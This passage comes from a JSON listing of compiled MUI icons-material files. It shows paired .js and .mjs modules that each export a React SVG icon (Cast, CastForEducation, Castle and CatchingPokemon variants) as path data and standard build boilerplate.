    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 9H5.95c2.83 1.17 5.15 3.3 6.56 6H17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 18v3h3c0-1.66-1.34-3-3-3m0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11m20-7H3c-1.1 0-2 .9-2 2v3h2V5h18v14h-7v2h7c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 7v1.63c.32.1.63.24.95.37H17v6h-4.49c.15.29.29.58.42.88.16.36.31.74.44 1.12H19V7z\"\n}, \"1\")], 'CastConnectedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastConnectedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 9H5.95c2.83 1.17 5.15 3.3 6.56 6H17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 18v3h3c0-1.66-1.34-3-3-3m0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11m20-7H3c-1.1 0-2 .9-2 2v3h2V5h18v14h-7v2h7c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 7v1.63c.32.1.63.24.95.37H17v6h-4.49c.15.29.29.58.42.88.16.36.31.74.44 1.12H19V7z\"\n}, \"1\")], 'CastConnectedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastForEducation.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v3h2V5h18v14h-7v2h7c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M1 18v3h3c0-1.66-1.34-3-3-3m0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11m10 1.09v2L14.5 15l3.5-1.91v-2L14.5 13zM14.5 6 9 9l5.5 3L20 9z\"\n}), 'CastForEducation');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastForEducation.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v3h2V5h18v14h-7v2h7c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M1 18v3h3c0-1.66-1.34-3-3-3m0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11m10 1.09v2L14.5 15l3.5-1.91v-2L14.5 13zM14.5 6 9 9l5.5 3L20 9z\"\n}), 'CastForEducation');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastForEducationOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v3h2V5h18v14h-7v2h7c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M1 18v3h3c0-1.66-1.34-3-3-3m0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11m10 1.09v2L14.5 15l3.5-1.91v-2L14.5 13zM14.5 6 9 9l5.5 3L20 9z\"\n}), 'CastForEducationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastForEducationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v3h2V5h18v14h-7v2h7c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M1 18v3h3c0-1.66-1.34-3-3-3m0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11m10 1.09v2L14.5 15l3.5-1.91v-2L14.5 13zM14.5 6 9 9l5.5 3L20 9z\"\n}), 'CastForEducationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastForEducationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.2 8.56-4.22-2.3c-.3-.16-.66-.16-.96 0L9.8 8.56c-.35.19-.35.69 0 .88l4.22 2.3c.3.16.66.16.96 0l4.22-2.3c.34-.19.34-.69 0-.88M21 3H3c-1.1 0-2 .9-2 2v2c0 .55.45 1 1 1s1-.45 1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1h-5c-.55 0-1 .45-1 1s.45 1 1 1h6c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-6.98 9.74L11 11.09v1.41c0 .37.2.7.52.88l2.5 1.36c.3.16.66.16.96 0l2.5-1.36c.32-.18.52-.52.52-.88v-1.41l-3.02 1.65c-.3.16-.66.16-.96 0M1 18v3h3c0-1.66-1.34-3-3-3m1.14-3.91c-.6-.1-1.14.39-1.14 1 0 .49.36.9.85.98 2.08.36 3.72 2 4.08 4.08.08.49.49.85.98.85.61 0 1.09-.54 1-1.14-.48-2.96-2.82-5.29-5.77-5.77m-.04-4.04c-.59-.05-1.1.41-1.1 1 0 .51.38.94.88.99 4.27.41 7.67 3.81 8.08 8.08.05.5.48.87.99.87.6 0 1.06-.52 1-1.11-.53-5.19-4.66-9.31-9.85-9.83\"\n}), 'CastForEducationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastForEducationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.2 8.56-4.22-2.3c-.3-.16-.66-.16-.96 0L9.8 8.56c-.35.19-.35.69 0 .88l4.22 2.3c.3.16.66.16.96 0l4.22-2.3c.34-.19.34-.69 0-.88M21 3H3c-1.1 0-2 .9-2 2v2c0 .55.45 1 1 1s1-.45 1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1h-5c-.55 0-1 .45-1 1s.45 1 1 1h6c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-6.98 9.74L11 11.09v1.41c0 .37.2.7.52.88l2.5 1.36c.3.16.66.16.96 0l2.5-1.36c.32-.18.52-.52.52-.88v-1.41l-3.02 1.65c-.3.16-.66.16-.96 0M1 18v3h3c0-1.66-1.34-3-3-3m1.14-3.91c-.6-.1-1.14.39-1.14 1 0 .49.36.9.85.98 2.08.36 3.72 2 4.08 4.08.08.49.49.85.98.85.61 0 1.09-.54 1-1.14-.48-2.96-2.82-5.29-5.77-5.77m-.04-4.04c-.59-.05-1.1.41-1.1 1 0 .51.38.94.88.99 4.27.41 7.67 3.81 8.08 8.08.05.5.48.87.99.87.6 0 1.06-.52 1-1.11-.53-5.19-4.66-9.31-9.85-9.83\"\n}), 'CastForEducationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastForEducationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v5h2V5h18v14h-7v2h9zM1 18v3h3c0-1.66-1.34-3-3-3m0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11m10 1.09v2L14.5 15l3.5-1.91v-2L14.5 13zM14.5 6 9 9l5.5 3L20 9z\"\n}), 'CastForEducationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastForEducationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v5h2V5h18v14h-7v2h9zM1 18v3h3c0-1.66-1.34-3-3-3m0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11m10 1.09v2L14.5 15l3.5-1.91v-2L14.5 13zM14.5 6 9 9l5.5 3L20 9z\"\n}), 'CastForEducationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastForEducationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v3h2V5h18v14h-7v2h7c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M1 18v3h3c0-1.66-1.34-3-3-3m0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11m10 1.09v2L14.5 15l3.5-1.91v-2L14.5 13zM14.5 6 9 9l5.5 3L20 9z\"\n}), 'CastForEducationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastForEducationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v3h2V5h18v14h-7v2h7c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M1 18v3h3c0-1.66-1.34-3-3-3m0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11m10 1.09v2L14.5 15l3.5-1.91v-2L14.5 13zM14.5 6 9 9l5.5 3L20 9z\"\n}), 'CastForEducationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v3h2V5h18v14h-7v2h7c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M1 18v3h3c0-1.66-1.34-3-3-3m0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11\"\n}), 'CastOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v3h2V5h18v14h-7v2h7c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M1 18v3h3c0-1.66-1.34-3-3-3m0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11\"\n}), 'CastOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v2c0 .55.45 1 1 1s1-.45 1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1h-5c-.55 0-1 .45-1 1s.45 1 1 1h6c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M2.14 14.09c-.6-.1-1.14.39-1.14 1 0 .49.36.9.85.98 2.08.36 3.72 2 4.08 4.08.08.49.49.85.98.85.61 0 1.09-.54 1-1.14-.48-2.96-2.82-5.29-5.77-5.77M1 18v3h3c0-1.66-1.34-3-3-3m1.1-7.95c-.59-.05-1.1.41-1.1 1 0 .51.38.94.88.99 4.27.41 7.67 3.81 8.08 8.08.05.5.48.87.99.87.6 0 1.06-.52 1-1.11-.53-5.19-4.66-9.31-9.85-9.83\"\n}), 'CastRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v2c0 .55.45 1 1 1s1-.45 1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v12c0 .55-.45 1-1 1h-5c-.55 0-1 .45-1 1s.45 1 1 1h6c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M2.14 14.09c-.6-.1-1.14.39-1.14 1 0 .49.36.9.85.98 2.08.36 3.72 2 4.08 4.08.08.49.49.85.98.85.61 0 1.09-.54 1-1.14-.48-2.96-2.82-5.29-5.77-5.77M1 18v3h3c0-1.66-1.34-3-3-3m1.1-7.95c-.59-.05-1.1.41-1.1 1 0 .51.38.94.88.99 4.27.41 7.67 3.81 8.08 8.08.05.5.48.87.99.87.6 0 1.06-.52 1-1.11-.53-5.19-4.66-9.31-9.85-9.83\"\n}), 'CastRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 3H1v5h2V5h18v14h-7v2h9zM1 18v3h3c0-1.66-1.34-3-3-3m0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11\"\n}), 'CastSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 3H1v5h2V5h18v14h-7v2h9zM1 18v3h3c0-1.66-1.34-3-3-3m0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11\"\n}), 'CastSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v3h2V5h18v14h-7v2h7c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M1 18v3h3c0-1.66-1.34-3-3-3m0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11\"\n}), 'CastTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v3h2V5h18v14h-7v2h7c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M1 18v3h3c0-1.66-1.34-3-3-3m0-4v2c2.76 0 5 2.24 5 5h2c0-3.87-3.13-7-7-7m0-4v2c4.97 0 9 4.03 9 9h2c0-6.08-4.93-11-11-11\"\n}), 'CastTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Castle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 9v2h-2V3h-2v2h-2V3h-2v2h-2V3H9v2H7V3H5v8H3V9H1v12h9v-3c0-1.1.9-2 2-2s2 .9 2 2v3h9V9zm-10 3H9V9h2zm4 0h-2V9h2z\"\n}), 'Castle');"
  },
  {
    "path": "packages/mui-icons-material/lib/Castle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 9v2h-2V3h-2v2h-2V3h-2v2h-2V3H9v2H7V3H5v8H3V9H1v12h9v-3c0-1.1.9-2 2-2s2 .9 2 2v3h9V9zm-10 3H9V9h2zm4 0h-2V9h2z\"\n}), 'Castle');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 9v2h-2V3h-2v2h-2V3h-2v2h-2V3H9v2H7V3H5v8H3V9H1v12h9v-3c0-1.1.9-2 2-2s2 .9 2 2v3h9V9zm0 10h-5v-1c0-2.21-1.79-4-4-4s-4 1.79-4 4v1H3v-6h4V7h10v6h4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 9h2v3H9zm4 0h2v3h-2z\"\n}, \"1\")], 'CastleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 9v2h-2V3h-2v2h-2V3h-2v2h-2V3H9v2H7V3H5v8H3V9H1v12h9v-3c0-1.1.9-2 2-2s2 .9 2 2v3h9V9zm0 10h-5v-1c0-2.21-1.79-4-4-4s-4 1.79-4 4v1H3v-6h4V7h10v6h4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 9h2v3H9zm4 0h2v3h-2z\"\n}, \"1\")], 'CastleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 9c-.55 0-1 .45-1 1v1h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v1h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v1h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v1H7V4c0-.55-.45-1-1-1s-1 .45-1 1v7H3v-1c0-.55-.45-1-1-1s-1 .45-1 1v9c0 1.1.9 2 2 2h7v-3c0-1.1.9-2 2-2s2 .9 2 2v3h7c1.1 0 2-.9 2-2v-9c0-.55-.45-1-1-1m-11 3H9V9h2zm4 0h-2V9h2z\"\n}), 'CastleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 9c-.55 0-1 .45-1 1v1h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v1h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v1h-2V4c0-.55-.45-1-1-1s-1 .45-1 1v1H7V4c0-.55-.45-1-1-1s-1 .45-1 1v7H3v-1c0-.55-.45-1-1-1s-1 .45-1 1v9c0 1.1.9 2 2 2h7v-3c0-1.1.9-2 2-2s2 .9 2 2v3h7c1.1 0 2-.9 2-2v-9c0-.55-.45-1-1-1m-11 3H9V9h2zm4 0h-2V9h2z\"\n}), 'CastleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 9v2h-2V3h-2v2h-2V3h-2v2h-2V3H9v2H7V3H5v8H3V9H1v12h9v-5h4v5h9V9zm-10 3H9V9h2zm4 0h-2V9h2z\"\n}), 'CastleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 9v2h-2V3h-2v2h-2V3h-2v2h-2V3H9v2H7V3H5v8H3V9H1v12h9v-5h4v5h9V9zm-10 3H9V9h2zm4 0h-2V9h2z\"\n}), 'CastleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 7H7v6H3v6h5v-1c0-2.21 1.79-4 4-4s4 1.79 4 4v1h5v-6h-4zm-6 5H9V9h2zm4 0h-2V9h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 9v2h-2V3h-2v2h-2V3h-2v2h-2V3H9v2H7V3H5v8H3V9H1v12h9v-3c0-1.1.9-2 2-2s2 .9 2 2v3h9V9zm0 10h-5v-1c0-2.21-1.79-4-4-4s-4 1.79-4 4v1H3v-6h4V7h10v6h4z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 9h2v3H9zm4 0h2v3h-2z\"\n}, \"2\")], 'CastleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CastleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 7H7v6H3v6h5v-1c0-2.21 1.79-4 4-4s4 1.79 4 4v1h5v-6h-4zm-6 5H9V9h2zm4 0h-2V9h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 9v2h-2V3h-2v2h-2V3h-2v2h-2V3H9v2H7V3H5v8H3V9H1v12h9v-3c0-1.1.9-2 2-2s2 .9 2 2v3h9V9zm0 10h-5v-1c0-2.21-1.79-4-4-4s-4 1.79-4 4v1H3v-6h4V7h10v6h4z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 9h2v3H9zm4 0h2v3h-2z\"\n}, \"2\")], 'CastleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CatchingPokemon.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 12c0 1.38-1.12 2.5-2.5 2.5S9.5 13.38 9.5 12s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5m7.5 0c0 5.52-4.48 10-10 10S2 17.52 2 12 6.48 2 12 2s10 4.48 10 10m-2 0h-4c0-2.21-1.79-4-4-4s-4 1.79-4 4H4c0 4.41 3.59 8 8 8s8-3.59 8-8\"\n}), 'CatchingPokemon');"
  },
  {
    "path": "packages/mui-icons-material/lib/CatchingPokemon.mjs",
